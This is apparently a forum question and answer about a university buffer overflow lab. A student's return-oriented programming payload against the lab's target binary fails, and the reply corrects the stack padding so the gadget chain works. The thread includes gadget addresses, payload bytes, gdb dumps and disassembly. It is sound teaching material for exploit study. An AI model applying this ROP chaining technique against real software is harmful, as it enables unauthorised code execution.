I am working on phase 4 of the buffer overflow attack lab, where the solution is is to use ROP (Return Oriented Programming). The idea is that you are given a "farm" where you will look for instructions in the code that do the same thing as what you want. These are called gadgets and by combining these gadgets, you will be able to perform your exploit.
The exploit I am doing is:
popq %rax
movq %rax %rdi
ret
I found these two functions that contain important gadgets:
0000000000401f91 <addval_168>:
401f91: f3 0f 1e fa endbr64
401f95: 8d 87 0d 92 58 90 lea -0x6fa76df3(%rdi),%eax
401f9b: c3 retq
I use 0x401f99 as the address of "58" which in assembly is
popq %rax;
0000000000401fbd <addval_217>:
401fbd: f3 0f 1e fa endbr64
401fc1: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
401fc7: c3 retq
here, I use the address 0x401fc3 for "48 89 c7 c3" which in assembly is:
movq %rax, %rdi;
ret;
so, I have set up my payload like this:
00 00 00 00 00 00 00 00 # Padding (buffer overflow)
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
99 1f 40 00 00 00 00 00 # (First gadget: popq %rax)
10 76 a6 11 00 00 00 00 # (Cookie - gets popped into %rax)
c3 1f 40 00 00 00 00 00 # (Second gadget: movq %rax, %rdi)
9d 1d 40 00 00 00 00 00 # (Final gadget: touch2)
which precisely matches the format of every version of the answer to this part, including my classmate's final answer. I double checked the format of the cookie and the touch2 address as well, and this classmate has ensured me that nothing about this format is different to his correct entry. Yet, I get this result:
ylx739:tesla22 ~/attack/target72> ./rtarget < phase4-raw.txt
./rtarget: /lib64/libcurl.so.4: no version information available (required by ./rtarget)
Cookie: 0x11a67610
Type string:Misfire: You called touch2(0x00000001)
FAILED
I have looked in gdb at the stack right after Gets is called in the corresponding function to get the buffer of my input, and find this:
(gdb) x/20xg $rsp
0x7ffffff91620: 0x0000000000000000 0x0000000000000000
0x7ffffff91630: 0x0000000000401f99 0x0000000011a67610
0x7ffffff91640: 0x0000000000401fc3 0x0000000000401d9d
0x7ffffff91650: 0x0000000000403100 0x0000000000402752
0x7ffffff91660: 0xf4f4f4f4f4f4f4f4 0xf4f4f4f4f4f4f4f4
which contains all of me entered code, but as soon as I enter touch2(), the function I am trying to overflow, I find this:
(gdb) print/x $rdi
$1 = 0x7ffff7b389c0
which is some random address. I am completely unsure why my cookie is not getting moved into rdi. Any help would be greatly appreciated.
*Edit: touch2, the target for the overflow:
0000000000401d9d <touch2>:
401d9d: f3 0f 1e fa endbr64
401da1: 50 push %rax
401da2: 58 pop %rax
401da3: 48 83 ec 08 sub $0x8,%rsp
401da7: 89 fa mov %edi,%edx
401da9: c7 05 49 37 00 00 02 movl $0x2,0x3749(%rip) # 4054fc <vlevel>
401db0: 00 00 00
401db3: 39 3d 4b 37 00 00 cmp %edi,0x374b(%rip) # 405504 <cookie>
401db9: 74 2a je 401de5 <touch2+0x48>
401dbb: 48 8d 35 e6 14 00 00 lea 0x14e6(%rip),%rsi # 4032a8 <_IO_stdin_used+0x2a8>
getbuf(): the function with the overflow:
(gdb) disas getbuf
Dump of assembler code for function getbuf:
0x0000000000401d4f <+0>: endbr64
0x0000000000401d53 <+4>: sub $0x28,%rsp
0x0000000000401d57 <+8>: mov %rsp,%rdi
0x0000000000401d5a <+11>: callq 0x4021e7 <Gets>
0x0000000000401d5f <+16>: mov $0x1,%eax
0x0000000000401d64 <+21>: add $0x28,%rsp
0x0000000000401d68 <+25>: retq
End of assembler dump.
The getbuf
function that contains the vulnerable gets
call is using a stack frame of 5 qwords as evidenced by the sub $0x28,%rsp
. As such your payload needs 5 qwords of padding not 3. With your current version the first two qwords are discarded by the add $0x28,%rsp
and hence your first gadget never gets executed. Since getbuf
does a mov $0x1,%eax
your second gadget will transfer that into rdi
and that is the reason you get the You called touch2(0x00000001)
.